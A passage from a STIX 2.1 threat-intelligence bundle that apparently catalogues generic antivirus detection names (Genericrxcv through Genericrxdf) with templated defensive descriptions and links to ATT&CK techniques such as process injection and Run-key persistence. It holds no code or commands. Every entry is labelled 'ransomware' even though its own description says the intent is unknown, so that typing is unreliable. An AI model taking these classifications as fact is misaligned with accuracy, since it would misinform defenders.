      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9e01750-03b1-5f4f-bb1d-fb6f4c2d2957",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3b4e2aa5-0112-5391-a668-2c5424f2e300",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcv",
      "description": "<h3>Executive Summary</h3>\nGenericRXCV is a heuristic detection signature utilized by enterprise antivirus and EDR (Endpoint Detection and Response) engines to identify files exhibiting behaviors strongly correlated with malicious Trojans, backdoors, or obfuscated droppers. The \"RXCV\" designation often points to specific code packing techniques, anomalous Windows API calls, or memory injection patterns detected during execution, though it does not map to a single, named malware family. It is frequently associated with the initial compromise stage, where an executable attempts to establish a foothold and download a secondary payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as GenericRXCV are typically encountered via drive-by downloads from compromised websites, as malicious attachments in generic spam campaigns, or hidden within \"cracked\" software installers.\n\nUpon execution, these files generally exhibit suspicious, evasive behavior:\n<ul>\n<li><strong>Deobfuscation and Process Injection:</strong> The executable often attempts to unpack its true malicious code directly into the memory space of a legitimate Windows process (like `svchost.exe` or `explorer.exe`) to evade file-based antivirus scanning.</li>\n<li><strong>Unauthorized Network Connections:</strong> The malware will attempt to establish outbound connections to unknown IP addresses, likely attempting to contact a Command and Control (C2) server to receive instructions or download a secondary payload (such as ransomware or an info-stealer).</li>\n<li><strong>Persistence Mechanisms:</strong> To ensure it survives a system reboot, the malware will likely modify the Windows Registry, often adding entries to the `Run` keys or creating malicious Scheduled Tasks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GenericRXCV detection must be treated as a serious indicator of compromise. Because it is a generic, behavioral detection, the specific intent of the malware (espionage, extortion, botnet recruitment) is unknown until further forensic analysis is performed. It represents an active attempt to establish a persistent, unauthorized foothold on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Isolation and Triage:</strong> Isolate the endpoint from the corporate network immediately to prevent any potential lateral movement or the successful download of a secondary payload.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize EDR telemetry to trace the execution path of the flagged file. Identify any child processes it spawned, network connections it attempted, or registry keys it modified.</li>\n<li><strong>Anti-Malware Remediation:</strong> Run a comprehensive, deep system scan using an updated enterprise AV solution to quarantine the original file and remove any persistence mechanisms it managed to establish.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRXCV",
        "Malware.Generic.RXCV",
        "Suspicious.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f758c438-3f59-56d1-b6de-3eb9f1abae49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b4e2aa5-0112-5391-a668-2c5424f2e300",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e902c57-bb2a-5caa-9d4a-dd9540878580",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b4e2aa5-0112-5391-a668-2c5424f2e300",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91115942-4d0d-50a2-9172-56ee9ecbe6ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b4e2aa5-0112-5391-a668-2c5424f2e300",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--901f7c67-458e-53b9-9f10-92f69575c08c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcw",
      "description": "Trojan:Win32/Genericrxcw is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxcw (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxcw usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ee23558-ee3e-50dc-b8b7-6fd16be9a273",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--901f7c67-458e-53b9-9f10-92f69575c08c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcw exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95e21213-0699-5fd9-936f-21be6d080bae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--901f7c67-458e-53b9-9f10-92f69575c08c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcw exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27d5498a-6ef1-523f-941c-4e7ed1c3eec5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--901f7c67-458e-53b9-9f10-92f69575c08c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f9e3d1a-2a46-5694-9f36-3ac3f6ea7be1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcy",
      "description": "Trojan:Win32/Genericrxcy is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxcy (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxcy usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ebefd3e-306b-59ce-be35-2cbf251888ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f9e3d1a-2a46-5694-9f36-3ac3f6ea7be1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcy exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0566299-e07b-5092-98a5-f20e46b1ea28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f9e3d1a-2a46-5694-9f36-3ac3f6ea7be1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcy exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e811971-cbe8-5c1a-b77d-39dcfe1b127d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f9e3d1a-2a46-5694-9f36-3ac3f6ea7be1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb6f8fd9-a3c0-5876-b890-923bd1c75b0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxda",
      "description": "Trojan:Win32/Genericrxda is a generic, heuristic-based detection name used by Microsoft Defender and other AV engines to classify a wide variety of persistent, stealthy trojans designed to breach endpoint defenses and securely deliver secondary payloads. Because it is a generic detection, it often catches custom or heavily obfuscated malware acting as an 'Initial Access Broker' tool.<br><br><b>Understanding Genericrxda</b><br>To an end-user, a Genericrxda infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, a generic detection like this means the AV engine recognized malicious *behavior* or code structure, but couldn't identify the specific malware family. Its primary objective is to securely bypass endpoint defenses and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload (like ransomware).<br><br><b>Execution and Evasion Strategies</b><br>Generic trojans are commonly distributed via massive malspam campaigns containing weaponized attachments or through exploit kits. Upon execution, they utilize heavy packing and dynamic API resolution to evade static signatures. They drop a randomized executable into the `%Temp%` or `%AppData%` directory. They establish persistence by creating a hidden scheduled task or modifying the Registry Run keys. They frequently inject their downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal the trojan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were actually requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxda",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxda"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bed6e2ff-ef40-57e2-8809-b7a65a70d008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6f8fd9-a3c0-5876-b890-923bd1c75b0b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxda exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ccf3633-e0b5-549c-b10d-5a25a2db9e35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6f8fd9-a3c0-5876-b890-923bd1c75b0b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxda exhibits technique T1055 (Process Injection (Hiding within svchost.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cccc4000-dda2-5ade-a24c-4313fa097ad4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6f8fd9-a3c0-5876-b890-923bd1c75b0b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxda exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf78b5bc-c34d-5487-830d-b3823c405384",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb6f8fd9-a3c0-5876-b890-923bd1c75b0b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxda exhibits technique T1027 (Obfuscated Files or Information (Triggering generic heuristic detections))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70d8a5ec-5856-5241-80ff-4fe3dd116e99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdc",
      "description": "Malware:Win32/Genericrxdc is a highly generic heuristic detection name used as a 'catch-all' bucket by various antivirus engines. It does not represent a specific family, campaign, or threat actor. Instead, it indicates that the AV engine's behavioral analysis, machine learning models, or generic static signatures have identified a file as exhibiting overwhelmingly malicious characteristics, but it cannot confidently classify it into a known, named family (like Emotet or Trickbot).<br><br><b>Understanding Generic 'Genericrxdc' Detections</b><br>To an end-user, this is a standard virus alert. For a SOC analyst or incident responder, a generic 'Genericrxdc' detection is frustrating because it lacks specific context. It means the file is bad, but provides no immediate intelligence on its intent (e.g., is it a ransomware dropper, an info-stealer, or a low-level adware?). It requires immediate, manual investigation (`T1204.002`).<br><br><b>Execution and Analysis Mechanics</b><br>Files flagged under this generic moniker often utilize heavy packing, obfuscation (`T1027`), or novel delivery mechanisms that obscure their true payload from static scanners. The AV engine likely detected suspicious API calls, anomalous entropy, or execution patterns (like attempting to inject into `svchost.exe` - `T1055`) that trigger heuristic rules. Because the exact threat is unknown, the responder must treat the incident as a potential high-severity breach until dynamic analysis proves otherwise.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely unknown until analysis is complete. The primary IoC is the quarantined file itself. Responders must rely heavily on EDR telemetry surrounding the time of execution. Look for where the file originated (e.g., downloaded via Chrome, extracted from a ZIP attached to an Outlook email), what child processes it spawned, what registry keys it modified for persistence (`T1547.001`), and what IP addresses it attempted to contact. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95bd753f-dbd9-5806-a759-864efe778490",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70d8a5ec-5856-5241-80ff-4fe3dd116e99",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdc exhibits technique T1027 (Obfuscated Files or Information (Often the reason for a generic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c908fa92-51fd-55ac-bcf9-47ea1435f452",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70d8a5ec-5856-5241-80ff-4fe3dd116e99",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdc exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e2f9026-de24-519d-af28-72611171fee9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70d8a5ec-5856-5241-80ff-4fe3dd116e99",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdc exhibits technique T1055 (Process Injection (A common behavioral trigger for heuristic AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c6b0e997-c173-5f2c-81e3-776d505320c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxde",
      "description": "Trojan:Win32/Genericrxde is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxde (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxde usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxde",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxde"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da403079-2576-539d-b09e-183a0e1fcb26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b0e997-c173-5f2c-81e3-776d505320c6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxde exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38d9614c-d19b-585b-8b25-119a76210b0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b0e997-c173-5f2c-81e3-776d505320c6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxde exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e2b09a6-8ec5-543f-b951-0f50bc56d016",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c6b0e997-c173-5f2c-81e3-776d505320c6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxde exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d5c0602b-1ab7-5425-b0a9-76760d238723",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdf",
      "description": "Trojan:Win32/Genericrxdf is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxdf (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxdf usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxdf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxdf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12083f46-0e87-5943-96a9-311b9cb48f0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5c0602b-1ab7-5425-b0a9-76760d238723",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdf exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64205ba2-cf00-5fe6-b7e8-341b9cc1076f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5c0602b-1ab7-5425-b0a9-76760d238723",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdf exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a89334f3-052c-5d5c-9c0f-1ab2cf7df15c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d5c0602b-1ab7-5425-b0a9-76760d238723",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxdf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--25635940-abd0-5a3b-a78e-972e60499682",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxdi",
